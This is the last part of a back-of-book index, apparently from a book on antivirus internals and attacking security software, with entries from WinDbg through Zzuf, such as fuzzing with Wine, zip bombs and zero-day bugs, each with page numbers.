WinDbg, 15, 23, 25–26
evasion tips for executable files, 124–131
excessive focus as failure, 62
Windows objects, incorrect privileges on,
Wine (Wine Is Not an Emulator), 28, 244
fuzzing with, 244–247
Winelib, 244
WinObj (winobj.exe) tool, 193
Wireshark, launching, 94
worms, 11
X.509 certificates, 89
XAR file, compressing, 211
XML files, for Comodo software for Linux
updates, 97–98
XOR-ADD algorithm, 59
xterm command, 232
XZ file format, compressing, 211
z0mbie, unpackers, 119
Zalewski, Michal, 253
zero-day approach in malware, 335
zero-day bugs, 324
zero-day kernel vulnerabilities, in
MalwareBytes, 285
zero-filled file, creating, 209–212
Zillya, 211
zip bomb, 208
ZIP -compressed files
analysis, 302–303
heuristic engine and, 65
“zip of death,” 208
zlib, 59
Zmist virus, 343
zombie network, 325
Zoner Antivirus for GNU/Linux, 304
installing, 154
Zynamics BinDiff, 18, 59–60
Zzuf, for Nightmare, 260
Was this manual useful for you? yes no
Thank you for your participation!

* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project

Download PDF